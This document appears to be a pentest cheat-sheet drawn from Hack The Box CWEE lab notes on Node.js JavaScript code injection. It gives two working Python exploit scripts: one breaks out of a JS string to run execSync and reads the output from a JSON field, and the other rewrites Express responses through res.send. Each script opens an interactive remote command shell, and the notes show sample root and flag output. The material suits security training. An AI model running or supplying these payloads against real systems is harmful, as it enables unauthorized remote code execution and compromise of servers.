In-band
In-band RCE: string break-out, execSync, output echoed in JSON field
Closes a single-quoted JS string, concatenates execSync() output into the echoed object field, repairs the literal, reads stdout from the JSON response.
The In-band technique closes the single-quoted JS string the server builds with ', concatenates require('child_process').execSync(cmd).toString() so command stdout lands in the same field the response echoes back, then repairs the surrounding object literal (, statusCode: 403})) and comments the original tail with //. Because the sink reflects that field, r.json()['message'] carries the output and the static prefix the sink prepends is sliced off ([11:]). Single quotes inside the command are swapped to double quotes so they cannot terminate the execSync('...') argument early. s is assumed already authenticated; in these apps an admin JWT is minted by posting an email/uid to /api/auth/authenticate and placed in s.headers as a bearer token.
import requests, urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
PROXIES = {} # {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"} for Burp
GEN_URL = "https://target/api/service/generate"
PREFIX = len("Generated: ") # static text the sink prepends, sliced off the echo
def run(cmd):
cmd = cmd.replace("'", '"') # keep the execSync('...') argument string intact
text = f"' + require('child_process').execSync('{cmd}').toString(), statusCode: 403}})//"
r = s.post(GEN_URL, json={"text": text}, verify=False, proxies=PROXIES, timeout=10)
return r.json()["message"][PREFIX:]
# s: authenticated requests.Session (admin bearer token already in s.headers)
while True:
print("[+] " + run(input("cmd> ").strip()))Vulnerable Express sink
res.json({ message: 'Generated: ' + req.body.text, statusCode: 200 })cmd> id
[+] uid=0(root) gid=0(root) groups=0(root)Find by: javascript injection, node code injection, execSync, child_process, RCE, eval injection, break out of js string, command output in response, in-band exfil · Source: CWEE/JavaScript Code Injection (In Band Response.md)
In-band RCE: response rewriting via res.send() then neuter further sends
When the sink does not echo input but exposes res, writes command output straight into the body with res.send() and overwrites res.send to a no-op so the app’s own send cannot throw.
When the sink does not reflect the injected value but the Express res object is in scope, output is written directly into the HTTP body. The payload closes the parsed-JSON string and its .ip member access (}').ip;), runs execSync(cmd), and pushes the result with res.send(out). A second statement overwrites res.send with a no-op so the application’s own later res.send(...) cannot raise ERR_HTTP_HEADERS_SENT, and // comments the remainder. The raw command output is then the entire response body (r.text). Single quotes in the command are swapped to double quotes so the execSync('...') string is not broken.
import requests, urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
PROXIES = {}
PING_URL = "https://target/api/service/ping"
def run(cmd):
cmd = cmd.replace("'", '"') # keep the execSync('...') argument string intact
ip = (f"{{\"ip\": \"8.8.8.8\"}}').ip;"
f"let out=require('child_process').execSync('{cmd}').toString();"
f"res.send(out);res.send=function(){{}}//")
r = s.post(PING_URL, json={"external": "true", "ip": ip}, verify=False, proxies=PROXIES, timeout=10)
return r.text
# s: authenticated requests.Session (admin bearer token already in s.headers)
while True:
print(run(input("cmd> ").strip()), end="")Vulnerable sink (input parsed, response then sent)
let ip = JSON.parse(req.body.ip).ip;
res.send(`pinging ${ip} ...`);cmd> cat /flag.txt
HTB{m4573r_c0mm4nd3r_!nj3c70r}Find by: javascript injection, node code injection, res.send override, response rewriting, execSync, child_process, RCE, JSON.parse injection, headers already sent, in-band exfil · Source: CWEE/JavaScript Code Injection (Assessment In Band.md)